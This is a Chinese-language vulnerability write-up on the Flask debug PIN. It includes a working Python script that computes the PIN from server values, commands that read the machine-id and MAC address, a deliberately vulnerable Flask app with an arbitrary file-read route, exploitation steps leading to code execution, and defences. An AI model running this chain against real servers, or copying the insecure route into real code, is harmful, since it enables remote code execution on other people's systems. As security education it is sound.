Flask debug pin安全问题
字数 1719 2025-08-29 08:32:25

Flask Debug PIN 安全漏洞分析与利用

漏洞概述

Flask 框架在 debug 模式下会生成一个 Debugger PIN 码,该 PIN 码由服务器的一些固定特征值生成。如果攻击者能够获取这些特征值(通过任意文件读取等漏洞),就可以计算出 PIN 码,进而在 debug 页面上执行任意 Python 代码,导致远程代码执行(RCE)。

漏洞影响

  • 影响版本:所有使用 debug 模式的 Flask 应用
  • 利用条件
    • Flask 应用运行在 debug 模式
    • 攻击者能够获取生成 PIN 码所需的 6 个特征值(通常需要配合任意文件读取漏洞)
    • 应用存在可以触发 debug 页面的错误

漏洞原理

PIN 码生成机制

Flask 的 debug PIN 码由以下 6 个特征值生成:

  1. username - 启动 Flask 应用的用户名
  2. modname - 固定为 flask.app
  3. getattr(app, 'name', getattr(app.class, 'name')) - 固定为 Flask
  4. getattr(mod, 'file', None) - Flask 库中 app.py 的绝对路径
  5. uuid.getnode() - 服务器 MAC 地址的十进制表示
  6. get_machine_id() - 机器 ID(Linux 下通常为 /etc/machine-id/proc/sys/kernel/random/boot_id 的内容)

生成算法

  1. 将上述 6 个特征值连接起来
  2. 对每个特征值进行 MD5 哈希计算
  3. 添加 b'cookiesalt'b'pinsalt' 作为额外盐值
  4. 从哈希结果中提取 9 位数字作为 PIN 码
  5. 将 PIN 码格式化为 XXX-XXX-XXX 的形式

漏洞利用步骤

1. 获取必要的特征值

1.1 获取 username

  • 通过错误页面泄露
  • 通过系统文件读取(如 /etc/passwd

1.2 获取 modname 和 app name

这两个值通常是固定的:

  • modname: flask.app
  • app name: Flask

1.3 获取 Flask 库路径

  • 通过错误页面泄露
  • 通过尝试常见路径(如 /usr/local/lib/pythonX.X/site-packages/flask/app.py

1.4 获取 MAC 地址

Linux 系统:

# 获取 MAC 地址的十六进制形式
cat /sys/class/net/ens33/address  # 或 eth0

# 转换为十进制
echo $((0x$(cat /sys/class/net/ens33/address | tr -d ':')))

1.5 获取 machine-id

Linux 系统:

cat /etc/machine-id
# 或
cat /proc/sys/kernel/random/boot_id

2. 计算 PIN 码

使用以下 Python 脚本计算 PIN 码:

import hashlib
from itertools import chain

probably_public_bits = [
    'username',          # 当前用户名
    'flask.app',         # modname
    'Flask',             # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/path/to/flask/app.py'  # getattr(mod, '__file__', None)
]

private_bits = [
    'mac_address_decimal',  # str(uuid.getnode())
    'machine_id'            # /etc/machine-id 或 /proc/sys/kernel/random/boot_id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

3. 利用 PIN 码执行代码

  1. 触发一个 Flask 错误页面(如访问不存在的路由或故意引发异常)
  2. 在 debug 页面的控制台中输入计算出的 PIN 码
  3. 成功验证后即可执行任意 Python 代码

漏洞复现示例

1. 创建有漏洞的 Flask 应用

# app.py
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def hello():
    return Hello['a']  # 故意引发错误

@app.route("/file")
def file():
    filename = request.args.get('filename')
    try:
        with open(filename, 'r') as f:
            return f.read()
    except:
        return 'error'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)

2. 获取特征值

  1. 访问 http://localhost:8080/file?filename=/etc/machine-id 获取 machine-id
  2. 访问 http://localhost:8080/file?filename=/sys/class/net/ens33/address 获取 MAC 地址
  3. 从错误页面获取用户名和 Flask 路径

3. 计算并利用 PIN 码

使用获取的特征值运行上述 Python 脚本计算 PIN 码,然后在错误页面的控制台中输入。

防御措施

  1. 生产环境禁用 debug 模式

    app.run(debug=False)
    
  2. 使用环境变量设置复杂 PIN 码

    export WERKZEUG_DEBUG_PIN=your-complex-pin
    
  3. 限制 debug 页面的访问

    • 仅允许本地访问
    • 使用防火墙规则限制访问
  4. 定期更新 Flask 框架:关注安全更新

  5. 避免任意文件读取漏洞:严格校验文件读取操作的输入

总结

Flask debug PIN 漏洞是一个严重的安全问题,它允许攻击者在获取特定系统信息后绕过安全限制执行任意代码。开发人员必须确保生产环境中禁用 debug 模式,并采取其他安全措施防止敏感信息泄露。

Flask Debug PIN 安全漏洞分析与利用 漏洞概述 Flask 框架在 debug 模式下会生成一个 Debugger PIN 码,该 PIN 码由服务器的一些固定特征值生成。如果攻击者能够获取这些特征值(通过任意文件读取等漏洞),就可以计算出 PIN 码,进而在 debug 页面上执行任意 Python 代码,导致远程代码执行(RCE)。 漏洞影响 影响版本 :所有使用 debug 模式的 Flask 应用 利用条件 : Flask 应用运行在 debug 模式 攻击者能够获取生成 PIN 码所需的 6 个特征值(通常需要配合任意文件读取漏洞) 应用存在可以触发 debug 页面的错误 漏洞原理 PIN 码生成机制 Flask 的 debug PIN 码由以下 6 个特征值生成: username - 启动 Flask 应用的用户名 modname - 固定为 flask.app getattr(app, ' name ', getattr(app. class , ' name ')) - 固定为 Flask getattr(mod, ' file ', None) - Flask 库中 app.py 的绝对路径 uuid.getnode() - 服务器 MAC 地址的十进制表示 get_ machine_ id() - 机器 ID(Linux 下通常为 /etc/machine-id 或 /proc/sys/kernel/random/boot_id 的内容) 生成算法 将上述 6 个特征值连接起来 对每个特征值进行 MD5 哈希计算 添加 b'cookiesalt' 和 b'pinsalt' 作为额外盐值 从哈希结果中提取 9 位数字作为 PIN 码 将 PIN 码格式化为 XXX-XXX-XXX 的形式 漏洞利用步骤 1. 获取必要的特征值 1.1 获取 username 通过错误页面泄露 通过系统文件读取(如 /etc/passwd ) 1.2 获取 modname 和 app name 这两个值通常是固定的: modname: flask.app app name: Flask 1.3 获取 Flask 库路径 通过错误页面泄露 通过尝试常见路径(如 /usr/local/lib/pythonX.X/site-packages/flask/app.py ) 1.4 获取 MAC 地址 Linux 系统: 1.5 获取 machine-id Linux 系统: 2. 计算 PIN 码 使用以下 Python 脚本计算 PIN 码: 3. 利用 PIN 码执行代码 触发一个 Flask 错误页面(如访问不存在的路由或故意引发异常) 在 debug 页面的控制台中输入计算出的 PIN 码 成功验证后即可执行任意 Python 代码 漏洞复现示例 1. 创建有漏洞的 Flask 应用 2. 获取特征值 访问 http://localhost:8080/file?filename=/etc/machine-id 获取 machine-id 访问 http://localhost:8080/file?filename=/sys/class/net/ens33/address 获取 MAC 地址 从错误页面获取用户名和 Flask 路径 3. 计算并利用 PIN 码 使用获取的特征值运行上述 Python 脚本计算 PIN 码,然后在错误页面的控制台中输入。 防御措施 生产环境禁用 debug 模式 : 使用环境变量设置复杂 PIN 码 : 限制 debug 页面的访问 : 仅允许本地访问 使用防火墙规则限制访问 定期更新 Flask 框架 :关注安全更新 避免任意文件读取漏洞 :严格校验文件读取操作的输入 总结 Flask debug PIN 漏洞是一个严重的安全问题,它允许攻击者在获取特定系统信息后绕过安全限制执行任意代码。开发人员必须确保生产环境中禁用 debug 模式,并采取其他安全措施防止敏感信息泄露。